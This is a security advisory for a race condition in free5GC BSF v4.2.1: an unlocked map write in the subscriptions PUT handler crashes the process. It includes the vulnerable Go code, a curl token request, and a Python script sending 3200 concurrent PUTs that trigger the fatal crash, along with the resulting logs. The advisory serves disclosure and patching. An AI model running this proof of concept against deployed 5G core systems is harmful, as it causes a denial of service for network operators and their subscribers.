free5GC's BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions

### Summary free5GC's BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurrent map read and map write` (Go runtime panics that come from concurrent map access bypass `recover()` and terminate the process). The BSF container exits with code `2` -- the entire BSF SBI surface goes down until restart. This endpoint requires a valid `nbsf-management` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS. ### Details Validated against the BSF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/bsf:v4.2.1` - Docker validation date: 2026-03-22 - BSF endpoint: `http://10.100.200.11:8000` Read side (locked): ```go func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock() sub, exists := c.Subscriptions[subId] return sub, exists } ``` Unsafe write side in the create-if-absent branch of `ReplaceIndividualSubcription` (no `Lock()`): ```go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription ``` Under concurrent traffic, the Go runtime detects the unsynchronized read/write on `c.Subscriptions` and aborts the process. Go's `concurrent map read and map write` fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates. Code evidence (paths in `free5gc/bsf`): - Read side (locked): - `NFs/bsf/internal/sbi/processor/subscriptions.go:81` - `NFs/bsf/internal/context/context.go:726` - `NFs/bsf/internal/context/context.go:730` - Unsafe write side (the create-if-absent branch in PUT, no lock): - `NFs/bsf/internal/sbi/processor/subscriptions.go:111` - `NFs/bsf/internal/sbi/processor/subscriptions.go:114` The normal locked helpers (`CreateSubscription()`, `GetSubscription()`, `UpdateSubscription()`, `DeleteSubscription()`) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch. ### PoC Reproduced end-to-end against the running BSF at `http://10.100.200.11:8000`. 1. Obtain a valid `nbsf-management` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management' ``` 2. Send concurrent PUT requests against fresh `subId` values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): ```python import json, threading, urllib.request TOKEN = "<valid_nbsf_management_jwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCF_BINDING_CREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode() def send_put(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.add_header("Authorization", f"Bearer {TOKEN}") req.add_header("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read() threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=send_put, args=(i, n))) for t in threads: t.start() for t in threads: t.join() ``` 3. BSF container logs (`docker logs bsf`) show the Go runtime fatal that terminated the process: ``` [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f ``` 4. Container state confirms exit code 2: ``` exited|2|0 ``` ### Impact Unsynchronized concurrent access (CWE-362) to a shared map (`BsfSelf.Subscriptions`), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's `recover()` middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's `nbsf-management` SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart. Any party that holds (or can obtain) a valid `nbsf-management` token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh `subId` values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage. No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7

Source published

8 May 2026 22:41:48 UTC

Source modified

8 Jun 2026 20:15:13 UTC

Observed here

24 Oct 2026 13:19:41 UTC

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

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